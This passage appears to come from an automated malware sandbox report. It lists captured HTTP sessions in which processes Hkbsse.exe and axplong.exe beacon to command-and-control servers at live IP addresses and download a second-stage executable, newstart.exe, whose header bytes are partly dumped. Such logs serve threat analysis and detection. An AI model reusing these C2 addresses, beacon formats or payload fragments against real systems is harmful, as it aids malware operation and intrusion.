Jul 13, 2024 07:08:45.754472017 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:46.398917913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	59088	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:46.520000935 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:47.179228067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	59089	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:47.201240063 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:48.029359102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	59090	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:48.144380093 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:48.786211967 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	59091	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:48.802939892 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:49.439590931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	59092	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:49.551429987 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:50.186499119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	59093	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:50.197772026 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:50.834534883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	59094	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:50.956859112 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:51.656619072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	59095	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:51.627186060 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 32 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000238001&unit=246122658369
Jul 13, 2024 07:08:52.332895041 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	59096	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:51.668514013 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:52.333561897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	59097	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:52.344425917 CEST	54	OUT	GET /lend/newstart.exe HTTP/1.1 Host: 77.91.77.81
Jul 13, 2024 07:08:53.037522078 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:52 GMT Content-Type: application/octet-stream Content-Length: 304128 Last-Modified: Thu, 11 Jul 2024 22:56:50 GMT Connection: keep-alive ETag: "66906332-4a400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1c aa d7 91 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 d0 02 00 00 d0 01 00 00 00 00 00 e2 9f 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 9f 02 00 4f 00 00 00 00 00 03 00 cc c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 0c 00 00 00 74 9f 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0 @ @Ot H.text `.rsrc@@.reloc@B
Jul 13, 2024 07:08:53.037544012 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 9f 02 00 00 00 00 00 48 00 00 00 02 00 05 00 50 2a 01 00 6c 74 01 00 03 00 00 Data Ascii: HPltK01s%~%-&~[s&%(+o(8o)%rprYp~(+
Jul 13, 2024 07:08:53.037586927 CEST	1236	IN	Data Raw: 0a 7e d5 02 00 04 25 2d 17 26 7e cc 02 00 04 fe 06 63 03 00 06 73 48 00 00 0a 25 80 d5 02 00 04 28 06 00 00 2b 6f 63 01 00 06 00 11 07 11 06 fe 06 57 03 00 06 73 49 00 00 0a 7e d6 02 00 04 25 2d 17 26 7e cc 02 00 04 fe 06 64 03 00 06 73 4a 00 00 Data Ascii: ~%-&~csH%(+ocWsI~%-&~dsJ%(+oeXsK~%-&~esL%(+oi(+,dsk%o]%rp(7o_%sNoa%og%oi%sO
Jul 13, 2024 07:08:53.037610054 CEST	672	IN	Data Raw: 11 07 11 07 6f 8a 01 00 06 28 44 00 00 0a 2d 09 11 07 6f 8a 01 00 06 2b 05 72 fd 02 00 70 6f 8b 01 00 06 00 11 07 11 07 6f 8c 01 00 06 28 44 00 00 0a 2d 09 11 07 6f 8c 01 00 06 2b 05 72 fd 02 00 70 6f 8d 01 00 06 00 11 07 11 07 6f 8e 01 00 06 28 Data Ascii: o(D-o+rpoo(D-o+rpoo(D-o+rpoorp([,o\Xo:+*AdzJzR
Jul 13, 2024 07:08:53.037632942 CEST	1236	IN	Data Raw: 00 00 de 06 13 0a 00 00 de 00 11 07 2d 03 14 2b 07 11 07 28 7f 01 00 06 28 44 00 00 0a 16 fe 01 13 0b 11 0b 2c 09 06 11 07 6f 61 00 00 0a 00 00 11 06 17 58 13 06 11 06 11 05 6f 12 01 00 06 fe 04 13 0c 11 0c 3a a9 fe ff ff 00 de 05 26 00 00 de 00 Data Ascii: -+((D,oaXo:&+*AL`m-0sO%(YsZ(U(V,A
Jul 13, 2024 07:08:53.037674904 CEST	1236	IN	Data Raw: 00 00 2b 28 0c 00 00 2b 13 07 11 07 11 05 11 06 28 8c 00 00 06 0a 00 2b 10 00 02 16 14 28 14 00 00 06 6f 57 00 00 0a 0a 00 00 de 06 13 08 00 00 de 00 06 13 09 2b 00 11 09 2a 00 01 10 00 00 00 00 07 00 ce d5 00 06 1a 00 00 01 1b 30 05 00 89 01 00 Data Ascii: +(+(+(oW+0~~*%rpo<iY(+(+8,Erp(o%q(YsZ(U(V,8X8,8
Jul 13, 2024 07:08:53.037689924 CEST	448	IN	Data Raw: 06 0a 00 00 02 6f 7f 00 00 0a 6f 81 00 00 0a 0b 38 ca 00 00 00 07 6f 82 00 00 0a 74 23 00 00 01 0c 00 08 6f 83 00 00 0a 72 e3 03 00 70 28 84 00 00 0a 0d 09 2c 0d 06 08 6f 85 00 00 0a 6f 8b 01 00 06 00 08 6f 83 00 00 0a 72 ed 03 00 70 28 84 00 00 Data Ascii: oo8ot#orp(,ooorp(,orpo(oorp(,ooorp(,/(voohooi(jokooT:+u$
Jul 13, 2024 07:08:53.037703991 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 22 02 28 87 00 00 0a 00 2a 00 00 00 1b 30 0a 00 8a 01 00 00 0d 00 00 11 00 73 25 00 00 0a 0a 00 00 02 6f 28 00 00 0a 0b 38 4c 01 00 00 07 6f 29 00 00 0a 0c 00 00 08 28 77 00 00 0a 0d 00 09 18 17 17 8d a3 00 00 01 25 16 28 76 Data Ascii: "(0s%o(8Lo)(w%(v%(YsZrp~(+(uok(o,8(-s.(/o0(o1-(+((2,+tsk%o]
Jul 13, 2024 07:08:53.037729979 CEST	1236	IN	Data Raw: 25 d0 66 02 00 04 28 59 00 00 0a 73 5a 00 00 0a 28 84 00 00 0a 0c 08 2c 06 07 17 9a 0a 2b 04 07 16 9a 0a 00 de 05 26 00 00 de 00 06 0d 2b 00 09 2a 00 00 01 10 00 00 00 00 07 00 6c 73 00 05 13 00 00 01 1b 30 06 00 f3 02 00 00 10 00 00 11 00 73 4e Data Ascii: %f(YsZ(,+&+ls0sN(%(YsZr)p~(+%(YsZr3p~*(+(7(Uso,t8R%r;p%r;p%r;p
Jul 13, 2024 07:08:53.037754059 CEST	448	IN	Data Raw: 00 00 00 13 00 00 11 00 73 97 00 00 0a 0a 28 98 00 00 0a 02 6f 67 00 00 0a 0b 06 07 6f 99 00 00 0a 28 17 00 00 06 72 f9 02 00 70 7e 2a 00 00 0a 6f 2b 00 00 0a 0c 2b 00 08 2a 00 13 30 03 00 ec 00 00 00 14 00 00 11 00 7e 2a 00 00 0a 0a 16 0b 38 c4 Data Ascii: s(ogo(rp~o++0~*8o_c_, YAX(((7+(((7, YAX(((7+(((7Xo
Jul 13, 2024 07:08:53.042764902 CEST	1236	IN	Data Raw: 00 00 11 00 02 03 fe 01 0a 06 2c 05 00 17 0b 2b 1d 02 2c 06 03 14 fe 01 2b 01 17 0c 08 2c 05 00 16 0b 2b 0a 02 03 28 21 00 00 06 0b 2b 00 07 2a 00 00 00 13 30 02 00 0d 00 00 00 16 00 00 11 00 02 03 28 1b 00 00 06 0a 2b 00 06 2a 00 00 00 13 30 04 Data Ascii: ,+,+,+(!+0(+0>ii,+%+Ya`-+0-,+,+,+("+0Cii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	59098	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:52.457739115 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:53.113257885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	59099	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:53.128470898 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:53.775257111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	59100	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:53.893903017 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:54.702141047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	59101	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:54.703870058 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 32 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000240001&unit=246122658369
Jul 13, 2024 07:08:55.542237997 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	59102	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:54.716295004 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:55.542222977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	59104	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:55.659658909 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:56.316688061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	59105	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:56.324697971 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:56.964807034 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	59106	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:57.112526894 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
